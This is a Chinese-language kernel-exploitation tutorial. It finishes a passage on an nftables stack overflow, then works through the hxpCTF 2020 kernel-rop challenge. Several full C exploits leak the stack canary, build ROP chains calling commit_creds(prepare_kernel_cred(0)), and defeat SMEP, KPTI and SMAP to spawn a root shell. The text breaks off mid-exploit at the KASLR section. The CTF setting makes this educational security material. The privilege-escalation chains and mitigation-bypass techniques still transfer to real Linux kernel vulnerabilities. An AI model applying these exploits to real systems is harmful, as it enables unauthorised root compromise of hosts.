现在我们已经具有了两个利用条件
泄露内核的程序基地址
找到可以劫持程序执行流程的地址值
地址泄露
利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中
接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值
返回地址覆盖
利用nft_payload完成返回地址的覆盖
在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限
首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限
其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间
最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数
漏洞修复
补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理
总结
Nftables栈溢出漏洞攻击流程
首先利用nft_bitwise进行内核基地址的泄露。
其次是利用nft_payload改写返回地址,并将提权代码注入进去。
最后等到代码被触发。
Nftables栈溢出漏洞利用的限制
不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍
Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。
Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。
Linux Kernel 环境
vmlinuz或bzImage:linux内核的压缩镜像
vmlinux:linux内核的符号表
initramfs.cpio.gz:文件系统,有系统启动的信息
run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护
Linux Kernel gadget获取
通过压缩的linux内核镜像获取符号表
./extract-image.sh ./vmlinuz > vmlinux
extract-image.sh
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
ROPgadget获取
不建议用ROPgadget,速度比较慢
ROPgadget --binary ./vmlinux > gadgets.txt
Ropper获取
使用ropper速度会比较快
ropper --file ./vmlinux --nocolor > g
直接获取
./vmlinux > gadgets.txt
然后搜索
cat gadgets.txt | grep 'pop'
文件系统
解包
mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio
打包
gcc -o exploit -static $1
mv ./exploit ./initramfs
cd initramfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz
mv ./initramfs.cpio.gz ../
Linux Kernel的保护措施
Kernel stack cookies【canary】:防止内核栈溢出
Kernel address space layout【KASLR】:内核地址随机化
Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。
开启:在-cpu参数中设置+smep
关闭:nosmep添加到-append
Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。
开启:在-cpu参数中设置+smap
关闭:nosmap添加到-append
Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。
开启:kpti=1
关闭:nopti添加到-append
hxpCTF 2020 kernel-rop
这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read
这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息
hackme_write
hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。
动态调试
首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试
其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0
否则直接运行不会显示模块的地址,结果如下
将权限修改为0之后,就可以正常显示了
然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中
最后就可以开启远程调试了,target remote:1234
这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme
在hackme_write中打下断点
这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。
使用ni进行单步调试,程序会直接运行,无法断下来。
使用si则可以单步
至此就可以对hackme.ko的模块进行调试了。
未开启保护
首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。
run.sh
在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护
qemu-system-x86_64 \
-m 128M \
-cpu kvm64\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \
-s
ret2user
由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。
首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可
在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据
可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来
这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。
在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。
prepare_kernel_cred函数
prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。
commit_creds函数
commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。
因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0))
在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。
执行swags指令之前
执行swags指令之后
最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。
iretq 指令有以下三个功能:
恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。
恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。
恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。
iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。
保存寄存器的汇编代码如下
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
在iretq指令后跟随的值如下
exp
因此最后构造的exp如下
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
绕过SMEP
SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \
-s
修改CR4寄存器
前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1
那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。
找到native_write_cr4函数
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff81006370: pop rdi; ret;
0xffffffff814443e0 T native_write_cr4
*/
unsigned long user_sp, user_cs, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff814c6410;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main()
{
unsigned int i, index = 0;
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 8*11);
for(i = 0; i < 11; i++)
printf("i:%d:data:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long leak_addr = buf[10];
save_user_land();
unsigned long payload[256];
for(i = 0; i < (16); i ++)
payload[index++] = 0;
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; // pop rdi; ret;
payload[index++] = 0x00000000000060;
payload[index++] = 0xffffffff814443e0; //native_write_cr4
payload[index++] = (unsigned long)lpe;
write(fd, payload, index * 8);
return 0;
}
但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现
提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。
可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。
构造逃逸ROP
由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。
那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要
pop rdi; ret;
mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器
swags; ret
iretq
除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
栈迁移
栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。
0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;
0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;
那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。
mmap函数
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的)
length:内存的大小
prot:权限
PROT_EXEC,执行权限
PROT_READ,读权限
PROT_WRITE,写权限
PROT_NONE,没有任何权限
flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的
MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件
MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件
MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射
MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误
fd:需要映射的文件描述符,若是匿名映射则设置为-1
offet:映射的偏移,即选择从哪个位置开始映射
映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。
栈迁移完成
将ROP链部署在了映射内存中
最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。
绕过KPTI
KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。
简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。
那么有两种方式可以绕过KPTI
捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh)
切换页表,将内核空间的页表切换到用户空间中去
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep\
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \
-s
使用异常处理
使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh")
signal(SIGSEGV, backdoor);
exp
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
signal(SIGSEGV, backdoor);
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
使用swapgs_restore_regs_and_return_to_usermode
第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。
那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 x86架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。
在内核中搜索该函数的地址
可以看到在该函数的内部存在修改CR3的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16的位置开始执行。
在该函数后续的执行中,还会执行swapgs的指令,切换GS的寄存器,并且做一个绝对跳转到0xffffffff81200fco
在该地址的后续还存在这iretq的指令,因此该函数具备了所有的条件。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff814c6410 T commit_creds
0xffffffff814c67f0 T prepare_kernel_cred
0xffffffff823d6b02: cmp rdi, 0xffffff; ret;
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;
0xffffffff81006370: pop rdi; ret;
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff8150b97e: pop rsi; ret;
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred
payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = 0xffffffff81006370; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0xffffffff814c6410; //commit_creds;
payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
绕过SMAP
SMAP则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode构建的ROP链。
但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。
绕过KASLR
KASLR与用户态下的ASLR差不多,都是开启了地址的随机化,因此不能使用绝对地址。
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \
-s
泄露内核地址
通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。
exp
#include <stdio.h>
#include <fcntl.h>
/*
